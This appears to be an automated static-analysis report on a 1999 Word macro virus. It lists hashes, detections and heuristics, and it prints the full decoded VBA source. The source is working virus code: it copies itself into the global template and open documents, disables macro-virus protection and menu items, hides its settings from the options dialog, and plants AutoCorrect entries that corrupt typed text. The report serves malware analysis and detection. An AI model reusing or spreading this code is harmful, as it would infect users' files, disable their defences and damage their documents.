Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ce94c6264ef503d5…

MALICIOUS

Office (OLE)

73.5 KB Created: 1999-05-15 00:21:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 18e79f46b253f1e74465521bd4e19c73 SHA-1: 1cd5bff2a666f1036d8ceff374f360bd3edbf74b SHA-256: ce94c6264ef503d589f533b75ca80065c819935050e21750f5a0541f399c7fc9
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, with multiple heuristics firing for WordBasic and VBA macros, including AutoOpen and AutoClose functions. The presence of these macros, coupled with the disabling of security features like VirusProtection, suggests an intent to execute further malicious actions. While no specific payload is directly observable, the structure points to a downloader or dropper.

Heuristics 6

  • ClamAV: Doc.Trojan.VMPCK1-16 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.VMPCK1-16
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8013 bytes
SHA-256: 844d33437c9fadcd62f0af2f4c2be93b119525af1060a1bd380cc1190646d603
Detection
ClamAV: Doc.Trojan.VMPCK1-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Fecha()
Attribute Fecha.VB_Description = "Macro creada el 16/05/99 por Germán Trudo"
Attribute Fecha.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Fecha"
'
' Fecha Macro
' Macro creada el 16/05/99 por Germán Trudo
'

End Sub
Sub Fecha2()
Attribute Fecha2.VB_Description = "Macro grabada el 16/05/99 por Germán Trudo"
Attribute Fecha2.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Fecha2"
'
' Fecha2 Macro
' Macro grabada el 16/05/99 por Germán Trudo
'
    Selection.InsertDateTime DateTimeFormat:="dddd d' de 'MMMM' de 'aaaa", _
        InsertAsField:=False
    Selection.TypeText Text:=" "
    Selection.InsertDateTime DateTimeFormat:="h:mm am/pm", InsertAsField:= _
        False
End Sub

Attribute VB_Name = "colorinm"
Sub AutoExec()
Options.VirusProtection = False
End Sub
Sub AutoOpen()
Dim c As Byte
On Error Resume Next
Options.VirusProtection = False
Application.EnableCancelKey = False
inf
    With CommandBars("tools")
                    .Controls(13).Enabled = False 'macro
                    .Controls(14).Enabled = False 'plantillas y complementos....
                    .Controls(15).Enabled = False  'personalizar...
    End With
CommandBars("view").Controls(6).Enabled = False 'barras de herramientas
CommandBars("edit").Controls(9).Enabled = False 'edit select all
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
CommandBars("Tools").Controls(5).OnAction = "oculta1"
CommandBars("Tools").Controls(16).OnAction = "oculta2"
ActiveDocument.Variables.Add Name:="activo?"
If Minute((Now)) >= 55 Or Minute((Now)) <= 5 Then
                                ActiveDocument.Variables("activo?") = "si"
                                Options.BlueScreen = True
                                agrega
Else: ActiveDocument.Variables("activo?") = "no"
End If
For c = 1 To CommandBars("Control Toolbox").Controls.Count
    CommandBars("Control Toolbox").Controls(1).Delete
Next c
End Sub
Sub inf()
Application.EnableCancelKey = False
On Error Resume Next
    If Nch = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="colorinm", Object:=wdOrganizerObjectProjectItems
        ActiveDocument.BuiltInDocumentProperties(wdPropertyComments) = "Comentarios, sugerencias, insultos?:" + vbCr + "a a b b c d e @ y a h o o . c o m"
    End If
    If Dch = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="colorinm", Object:=wdOrganizerObjectProjectItems
    End If
End Sub
Function Nch()
Dim i As Byte
    For i = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(i).Name = "colorinm" Then Nch = True
    Next
End Function
Function Dch()
Dim J As Byte
    For J = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(J).Name = "colorinm" Then Dch = True
    Next
End Function
Sub ToolsMacro()
End Sub
Sub ViewVBCode()
End Sub
Sub oculta1()
If ActiveDocument.Variables("activo?").Value = "si" Then
borrador
Word.Dialogs.Item(wdDialogToolsAutoManager).Show
agrega
Else: Word.Dialogs.Item(wdDialogToolsAutoManager).Show
End If
End Sub
Sub oculta2()
aparentes
Word.Dialogs.Item(wdDialogToolsOptions).Show
reales
End Sub
Sub agrega()
Attribute agrega.VB_Description = "Macro grabada el 24/08/98 por MINIPHONE"
Attribute agrega.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.final"
Dim letra, color
    Selection.ParagraphFormat.Alignment = wdAlignParagraphLeft
    For vez = 1 To 24
    Select Case vez
            Case 1
                letra = "a"
                color = 7
            Case 2
                letra = "u"
                color = 4
            Case 3
                letra = "o"
                color = 3
            Case 4
                letra = "y"
                color = 6
            Case 5
                letra = "e"
                color = 5
            Case 6
                letra = "de"
                color = 7
            Case 7
                letra = "en"
                color = 4
            Case 8
                letra = "que"
                color = 3
            Case 9
                letra = "la"
                color = 6
            Case 10
                letra = "los"
                color = 5
            Case 11
                letra = "las"
                color = 7
            Case 12
                letra = "una"
                color = 4
            Case 13
                letra = "le"
                color = 5
            Case 14
                letra = "se"
                color = 7
            Case 15
                letra = "ya"
                color = 5
            Case 16
                letra = "no"
                color = 7
            Case 17
                letra = "lo"
                color = 4
            Case 18
                letra = "un"
                color = 3
            Case 19
                letra = "por"
                color = 6
            Case 20
                letra = "unos"
                color = 5
            Case 21
                letra = "para"
                color = 3
            Case 22
                letra = "si"
                color = 3
            Case 23
                letra = "es"
                color = 3
            Case 24
                letra = "con"
                color = 4
          End Select
    With Selection
            .Font.ColorIndex = color
            .TypeText Text:=letra
            .MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
    End With
    autocorrect.Entries.AddRichText Name:=letra, Range:=Selection.Range
 Next vez
 autocorrect.ReplaceText = True
 With Selection
    .Font.ColorIndex = wdAuto
    .Font.Name = "Courier New"
    .Font.Size = 10
    .Delete
 End With
End Sub
Sub borrador()
Attribute borrador.VB_Description = "Macro grabada el 24/08/98 por MINIPHONE"
Attribute borrador.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro1asasa"
On Error Resume Next
autocorrect.ReplaceText = False
With autocorrect.Entries
.Item("a").Delete
.Item("u").Delete
.Item("o").Delete
.Item("y").Delete
.Item("e").Delete
.Item("de").Delete
.Item("en").Delete
.Item("que").Delete
.Item("la").Delete
.Item("los").Delete
.Item("las").Delete
.Item("una").Delete
.Item("le").Delete
.Item("se").Delete
.Item("ya").Delete
.Item("no").Delete
.Item("lo").Delete
.Item("un").Delete
.Item("por").Delete
.Item("unos").Delete
.Item("para").Delete
.Item("si").Delete
.Item("es").Delete
.Item("con").Delete
End With
End Sub
Sub aparentes()
    With Options
        Rem .BlueScreen = False
        .VirusProtection = True
        .AllowFastSave = True
        .BackgroundSave = True
        .SaveNormalPrompt = True
    End With
End Sub
Sub reales()
On Error Resume Next
    If ActiveDocument.Variables("activo?").Value = "si" Then Options.BlueScreen = True
    With Options
        .VirusProtection = False
        .SavePropertiesPrompt = False
        .SaveNormalPrompt = False
    End With
End Sub
Sub autonew()
AutoOpen
End Sub
Sub AutoClose()
inf
chau
End Sub
Sub FileSave()
inf
End Sub
Sub autoexit()
inf
chau
End Sub
Sub FileSaveas()
inf
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub chau()
If ActiveDocument.Variables("activo?").Value = "si" Then
        borrador
        Options.BlueScreen = False
End If
        ActiveDocument.Variables("activo?").Delete
End Sub
Sub tritri()
MsgBox (ActiveDocument.Variables("activo?").Value)
End Sub

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